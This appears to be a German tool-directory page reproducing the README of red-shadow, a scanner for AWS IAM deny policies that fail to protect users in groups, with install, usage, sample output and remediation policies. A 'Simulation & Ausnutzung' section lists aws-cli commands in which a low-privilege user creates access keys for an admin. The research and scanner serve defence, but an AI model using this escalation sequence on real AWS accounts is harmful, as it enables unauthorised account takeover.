Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/lightspin-tech/red-shadow
Cloud-Infrastruktur-SicherheitSchwachstellenscannerPenetrationstestsCloud-SicherheitIdentitäts- & Zugriffsmanagement (IAM)Fehlkonfiguration
GitHublightspin-tech/red-shadow

red-shadow

Scannt AWS IAM-Konfigurationen auf Shadow-Administratoren, indem es falsch konfigurierte Deny-Richtlinien erkennt, die Aktionen von Benutzern auf Gruppen nicht einschränken, und so die Erkennung und Behebung von Privilegieneskalation ermöglicht.

Repository anzeigen
9522vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

red-shadow

Red-Shadow

Lightspin AWS IAM Schwachstellenscanner

Beschreibung

Scannen Sie Ihre AWS IAM-Konfiguration auf Schattenadministratoren in AWS IAM, basierend auf falsch konfigurierten Deny-Richtlinien, die Benutzer in Gruppen nicht betreffen, entdeckt vom Lightspin Security Research Team.

Das Tool erkennt die Fehlkonfigurationen in den folgenden IAM-Objekten:

  • Managed Policies

  • Users Inline Policies

  • Groups Inline Policies

  • Roles Inline Policies

Forschungszusammenfassung

Die AWS IAM-Auswertungslogik für Deny-Richtlinien, die auf Gruppen angewendet werden, funktioniert nicht so, wie die meisten Sicherheitsingenieure es von anderen Autorisierungsmechanismen gewohnt sind.

Angenommen, eine Richtlinie mit einer Gruppenressource hat eine explizite Deny. In diesem Fall betrifft dies nur Gruppenaktionen und nicht Benutzeraktionen, was Organisationen für Fehlkonfigurationen und Schwachstellen öffnet, wenn sie annehmen, der Prozess sei derselbe wie z.B. bei Active Directory.

Beispiel für eine angreifbare JSON-Richtlinie:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "ProtectManagersByDeny",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "arn:aws:iam::123456789999:group/managers"
        }
    ]
}

In diesem Beispiel soll die Richtlinie alle IAM-Aktionen verweigern, die von Benutzern, Gruppen oder Rollen, an die diese Richtlinie angehängt ist, gegenüber der Gruppe namens managers durchgeführt werden.

Tatsache ist, dass eine einfache IAM-Aktion wie iam:ChangePassword funktionieren würde, da die Deny-Richtlinie unwirksam ist.

Link zum vollständigen Sicherheitsforschungsblog

Erkennung

AWS IAM unterscheidet klar zwischen Benutzerobjektaktionen und Gruppenobjektaktionen.

Die folgende Liste enthält die Benutzerobjektaktionen, die das Tool über Deny-Richtlinien scannt, die Gruppen betreffen (zusätzlich zu Wildcard):

root@kitploit:~
AWS_USER_ACTIONS = ["iam:CreateUser",
                     "iam:GetUser",
                     "iam:UpdateUser",
                     "iam:DeleteUser",
                     "iam:GetUserPolicy",
                     "iam:PutUserPolicy",
                     "iam:DeleteUserPolicy",
                     "iam:ListUserPolicies",
                     "iam:AttachUserPolicy",
                     "iam:DetachUserPolicy",
                     "iam:ListAttachedUserPolicies",
                     "iam:SimulatePrincipalPolicy",
                     "iam:GetContextKeysForPrincipalPolicy",
                     "iam:TagUser",
                     "iam:UpdateSSHPublicKey",
                     "iam:UntagUser",
                     "iam:GetSSHPublicKey",
                     "iam:ListUserTags",
                     "iam:DeleteSSHPublicKey",
                     "iam:GetLoginProfile",
                     "iam:GetAccessKeyLastUsed",
                     "iam:UpdateLoginProfile",
                     "iam:UploadSigningCertificate",
                     "iam:DeleteLoginProfile",
                     "iam:ListSigningCertificates",
                     "iam:CreateLoginProfile",
                     "iam:UpdateSigningCertificate",
                     "iam:EnableMFADevice",
                     "iam:DeleteSigningCertificate",
                     "iam:ResyncMFADevice",
                     "iam:ListServiceSpecificCredentials",
                     "iam:ListMFADevices",
                     "iam:ResetServiceSpecificCredential",
                     "iam:DeactivateMFADevice",
                     "iam:CreateServiceSpecificCredential",
                     "iam:ChangePassword",
                     "iam:UpdateServiceSpecificCredential",
                     "iam:CreateAccessKey",
                     "iam:DeleteServiceSpecificCredential",
                     "iam:ListAccessKeys",
                     "iam:PutUserPermissionsBoundary",
                     "iam:UpdateAccessKey",
                     "iam:DeleteUserPermissionsBoundary",
                     "iam:DeleteAccessKey",
                     "iam:ListGroupsForUser",
                     "iam:ListSSHPublicKeys",
                     "iam:UploadSSHPublicKey"]

Viele der oben genannten Benutzerobjektaktionen können leicht zu einer Privilegienausweitung oder zur Kompromittierung des Kontos führen, z.B. durch Zurücksetzen des Admin-Passworts, Deaktivieren der Root-Konto-MFA usw.

Anforderungen

Red-Shadow ist mit Python 3 und Boto3 erstellt.

Das Tool benötigt:

  • IAM-Benutzer mit Zugriffsschlüssel in der OS-Umgebung
  • Ausreichende Berechtigungen für den IAM-Benutzer zum Ausführen des Scanners
  • Python 3 und pip3 installiert

Installation

root@kitploit:~
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt

Verwendung

root@kitploit:~
python3 red-shadow.py

Ergebnisse analysieren

Die Ergebnisse decken jedes IAM-Objekt auf, das in AWS anfällig für solche Autorisierungsumgehungen ist.

Beispiel für die Ausgabe der Ergebnisse:

root@kitploit:~
++ Starting Red-Shadow ++

++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups

Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done

In dieser Konsolenausgabe sehen wir, dass unsere ProtectManagers-Deny-Richtlinie unwirksam und anfällig für Angriffe wie die oben genannte Privilegienausweitung ist.

Simulation & Ausnutzung

Um die IAM-Sicherheitslücke zu validieren und die Ausnutzung durchzuführen, führen Sie den folgenden Ablauf aus:

  1. aws iam create-group --group-name managers
  2. aws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
  3. aws iam create-user --user-name JohnAdmin
  4. aws iam add-user-to-group --user-name JohnAdmin --group-name managers
  5. Erstellen Sie eine policy.json-Datei mit folgendem Inhalt (ersetzen Sie die Kontonummer):
root@kitploit:~
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ProtectManagersByDeny",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "arn:aws:iam::123456789999:group/managers"
    }
  ]
}
  1. aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.json
  2. aws iam create-group --group-name backend-dev
  3. aws iam create-user --user-name BobAttacker
  4. aws iam add-user-to-group --user-name BobAttacker --group-name backend-dev
  5. aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers
  6. Erstellen Sie eine Richtlinie, um den Benutzern das Erstellen von Zugriffsschlüsseln zu erlauben, in einer policy_iam.json-Datei für die Gruppe backend-dev:
root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "iam:CreateAccessKey",
            "Resource": "*"
        }
    ]
}
  1. aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.json
  2. aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeys
  3. Validieren Sie unsere Konfiguration mit: aws iam list-attached-group-policies --group backend-dev
  4. aws iam create-access-key --user-name BobAttacker
  5. Konfigurieren Sie den neuen Zugriffsschlüssel und das Geheimnis im AWS-Profil (lokale Umgebung).
  6. Jetzt kann der Benutzer BobAttacker Zugriffsschlüssel für alle Ressourcen erstellen, hat aber eine explizite Deny für die managers-Gruppe.

Nutzen wir die Schwachstelle aus mit:

aws iam create-access-key --user-name JohnAdmin --profile BobAttacker

Privilegienausweitung abgeschlossen!

Abhilfe

Sobald Sie die Richtlinien gefunden haben, die anfällig für die Autorisierungsumgehung sind, gibt es zwei mögliche Wege, die Schwachstelle zu beheben und die Richtlinie zu korrigieren:

OPTION 1: Definieren Sie alle relevanten Benutzer im Ressourcenfeld anstelle von Gruppen, um unwirksame IAM-Aktionen zu vermeiden, und verweigern Sie alle Gruppenaktionen, wie im folgenden Beispiel:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "DenySpecificUserActions",
            "Effect": "Deny",
            "Action": [
                "iam:CreateLoginProfile",
                "iam:ChangePassword",
                "iam:CreateAccessKey"
            ],
            "Resource": [
                "arn:aws:iam::123456789999:user/[email protected]",
                "arn:aws:iam::123456789999:user/[email protected]",
                "arn:aws:iam::123456789999:user/[email protected]"
            ]
        },
        {
            "Sid": "DenyAllGroupActions",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "arn:aws:iam::123456789999:group/managers"
        }
    ]
}

OPTION 2: Verwenden Sie eine Bedingung in der Richtlinie mit iam:ResourceTag wie im folgenden Beispiel:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Deny",
            "Action": [
                "iam:CreateLoginProfile",
                "iam:ChangePassword",
                "iam:CreateAccessKey"
            ],
            "Resource": "*",
            "Condition": {
                "ForAnyValue:StringEquals": {
                    "iam:ResourceTag/group": "managers"
                }
            }
        }
    ]
}

Kontakt

Diese Forschung wurde vom Lightspin Security Research Team durchgeführt. Für weitere Informationen kontaktieren Sie uns unter [email protected].

Lizenz

Dieses Repository ist verfügbar unter der Apache License 2.0.

Tool herunterladen